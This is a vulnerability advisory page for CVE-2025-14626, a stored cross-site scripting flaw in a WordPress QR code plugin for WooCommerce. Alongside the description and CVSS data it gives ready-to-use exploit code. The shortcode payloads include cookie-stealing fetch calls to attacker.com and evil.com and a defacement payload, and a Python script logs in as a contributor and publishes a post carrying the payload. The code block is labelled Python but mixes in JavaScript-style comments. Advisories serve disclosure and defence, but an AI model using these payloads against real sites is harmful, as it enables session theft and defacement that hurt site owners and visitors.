Security Vulnerability Report
中文
CVE-2025-14626 CVSS 6.4 MEDIUM

CVE-2025-14626

Published: 2026-01-07 12:16:56
Last Modified: 2026-04-15 00:35:42

Description

The QR Code for WooCommerce order emails, PDF invoices, packing slips plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode in all versions up to, and including, 1.9.42 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

QR Code for WooCommerce插件 <= 1.9.42

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14626 Stored XSS PoC // Affected Plugin: QR Code for WooCommerce (versions <= 1.9.42) // Attack Vector: Shortcode attribute injection // Method 1: Basic XSS via shortcode attribute [qrcode code='" onerror="alert("XSS")"' alt='test'] // Method 2: Cookie stealing payload [qrcode code='" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" data-x="' width='100'] // Method 3: Session hijacking payload [qrcode_attack code='" onload="fetch(\'https://evil.com/log?data=\'+btoa(document.cookie))"' height='100'] // Method 4: Defacement payload [qrcode code='" onerror="document.body.innerHTML=\'<h1>Hacked</h1>\'" style='"' link='http://example.com'] // Notes: // - Requires contributor-level or higher WordPress account // - Payload persists in database (stored XSS) // - Executes when page is viewed by any user // - Can be injected via post content, page content, or widget areas // Python script to verify vulnerability import requests target_url = "http://target-wordpress-site.com/" login_url = target_url + "wp-login.php" post_url = target_url + "wp-json/wp/v2/posts" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password" } session.post(login_url, data=login_data) # Create post with malicious shortcode malicious_post = { "title": "QR Code Test", "content": "[qrcode code='\" onerror=\"alert(document.cookie)\"' alt='test']", "status": "publish" } response = session.post(post_url, json=malicious_post) print(f"Post created with ID: {response.json().get('id')}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14626", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:55.800", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The QR Code for WooCommerce order emails, PDF invoices, packing slips plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode in all versions up to, and including, 1.9.42 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin QR Code for WooCommerce order emails, PDF invoices, packing slips para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode del plugin en todas las versiones hasta la 1.9.42, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en atributos proporcionados por el usuario. Esto permite a atacantes autenticados, con acceso de nivel de colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/qr-code-tag-for-wc-from-goaskle-com/tags/1.9.42/lib/qrct/QrctWp.php#L1661", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/qr-code-tag-for-wc-from-goaskle-com/trunk/lib/qrct/QrctWp.php#L1661", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5b2e599c-48de-4d3a-94a3-b98badfb7a98?source=cve", "source": "[email protected]"}]}}